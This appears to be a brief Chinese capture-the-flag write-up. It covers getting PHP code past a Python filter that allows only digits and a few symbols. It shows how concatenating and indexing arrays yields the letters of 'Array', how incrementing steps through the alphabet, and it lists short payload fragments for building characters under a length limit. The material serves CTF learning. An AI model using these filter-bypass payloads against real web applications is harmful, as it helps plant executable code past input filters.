原题waf
def waf(phpshell):
if not phpshell.startswith(b'<?php'):
return True
phpshell = phpshell[6:]
for c in phpshell:
if c not in b'0-9$_;+[].=<?>':
return True
else:
print(chr(c), end='')
return False
能用的为数字0 9和一些字符
开始测试
测试如下代码
<?php
//error_reporting(0);
highlight_file(__FILE__);
$_=[[]];
echo($_);//Array
$_=[[]][0];
echo($_);//Array
$_=[[]][0][0];
echo($_);//无回显
$_=[[].[]][0];
echo($_);//ArrayArray
$_=[[].[]][0][0];
echo($_);//A
$_++;
echo($_);//B
//新建一个$_变量
$_;//此时$_为null
$_++;
echo($_);//1
?>
原因是在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
由此可见,只要可以用[ ] . $_就可以构造出任意字符
关于题目
题目对shell长度有限制
所以学到了技巧
a = "${}=[[].[].[].[]][0][9+9];"
r = "${}=[[].[]][0][0==0];"
y = "${}=[[].[]][0][9];"
参考来自https://blog.csdn.net/qq_38677814/article/details/115037481